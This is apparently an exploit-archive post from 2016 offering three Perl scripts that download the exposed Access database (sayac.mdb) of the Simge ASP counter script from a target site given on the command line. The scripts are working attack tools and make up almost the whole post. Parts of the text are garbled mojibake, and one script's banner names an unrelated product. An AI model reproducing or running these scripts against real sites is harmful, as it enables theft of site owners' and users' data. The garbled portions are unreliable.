Simge 1.0 / 2.0 Database Disclosure
Posted on 20 October 2016
======================================================================== | # Title : Simge v2.0 SayaASS Database Disclosure Exploit | # Author : indoushka | # email : indoushka4ever@gmail.com | # Tested on : windows 8.1 FranASSais V.(Pro) | # Version : v7 | # Vendor : http://wmscripti.com/asp-scriptler/simge-sayac-scripti.html ======================================================================== #!/usr/bin/perl -w # Author : indoushka use LWP::Simple; use LWP::UserAgent; system('cls'); system('Besni Okul Portal Database Disclosure Exploit'); system('color a'); if(@ARGV < 2) { print "[-]How To Use "; &help; exit(); } sub help() { print "[+] usage1 : perl $0 site.com /path/ "; print "[+] usage2 : perl $0 localhost / "; } ($TargetIP, $path, $File,) = @ARGV; $File="sayac-veritabani/Kopyas_ sayac.mdb"; my $url = "http://" . $TargetIP . $path . $File; print " Fuck you wait!!! "; my $useragent = LWP::UserAgent->new(); my $request = $useragent->get($url,":content_file" => "D:/Kopyas_ sayac.mdb"); if ($request->is_success) { print "[+] $url Exploited! "; print "[+] Database saved to D:/Kopyas_ sayac.mdb "; exit(); } else { print "[!] Exploiting $url Failed ! [!] ".$request->status_line." "; exit(); } Greetz : aua'>>a'1/2a'1/2a'dega'deg aua'degaua'degau a'>>a'*a'*auaua'>>------au-auau-a'deg a'degaua'degauPSaua'3a'>>au-------- aua'degauau!a'>>auau aua'degauaua'*oauaua'degau ------ | jericho * Larry W. Cashdollar * moncet-1 * achraf.tn | | ===================== pa'degaua'1/2a'>>au auauoauau aua'>>auauauauauauC/ ============================= #!/usr/bin/perl -w # Author : indoushka use LWP::Simple; use LWP::UserAgent; system('cls'); system('Besni Okul Portal Database Disclosure Exploit'); system('color a'); if(@ARGV < 2) { print "[-]How To Use "; &help; exit(); } sub help() { print "[+] usage1 : perl $0 site.com /path/ "; print "[+] usage2 : perl $0 localhost / "; } ($TargetIP, $path, $File,) = @ARGV; $File="sayac-veritabani/sayac.mdb"; my $url = "http://" . $TargetIP . $path . $File; print " Fuck you wait!!! "; my $useragent = LWP::UserAgent->new(); my $request = $useragent->get($url,":content_file" => "D:/sayac.mdb"); if ($request->is_success) { print "[+] $url Exploited! "; print "[+] Database saved to D:/sayac.mdb "; exit(); } else { print "[!] Exploiting $url Failed ! [!] ".$request->status_line." "; exit(); } ======================================================================== | # Title : Simge v1.0 SayaASS Database Disclosure Exploit | # Author : indoushka | # email : indoushka4ever@gmail.com | # Tested on : windows 8.1 FranASSais V.(Pro) | # Version : v7 | # Vendor : http://wmscripti.com/asp-scriptler/simge-sayac-scripti-2.html ======================================================================== #!/usr/bin/perl -w # Author : indoushka use LWP::Simple; use LWP::UserAgent; system('cls'); system('Simge v1.0 SayaASS Database Disclosure Exploit'); system('color a'); if(@ARGV < 2) { print "[-]How To Use "; &help; exit(); } sub help() { print "[+] usage1 : perl $0 site.com /path/ "; print "[+] usage2 : perl $0 localhost / "; } ($TargetIP, $path, $File,) = @ARGV; $File="db/sayac.mdb"; my $url = "http://" . $TargetIP . $path . $File; print " Fuck you wait!!! "; my $useragent = LWP::UserAgent->new(); my $request = $useragent->get($url,":content_file" => "D:/sayac.mdb"); if ($request->is_success) { print "[+] $url Exploited! "; print "[+] Database saved to D:/sayac.mdb "; exit(); } else { print "[!] Exploiting $url Failed ! [!] ".$request->status_line." "; exit(); } Greetz : aua'>>a'1/2a'1/2a'dega'deg aua'degaua'degau a'>>a'*a'*auaua'>>------au-auau-a'deg a'degaua'degauPSaua'3a'>>au-------- aua'degauau!a'>>auau aua'degauaua'*oauaua'degau ------ | jericho * Larry W. Cashdollar * moncet-1 * achraf.tn | | ===================== pa'degaua'1/2a'>>au auauoauau aua'>>auauauauauauC/ =============================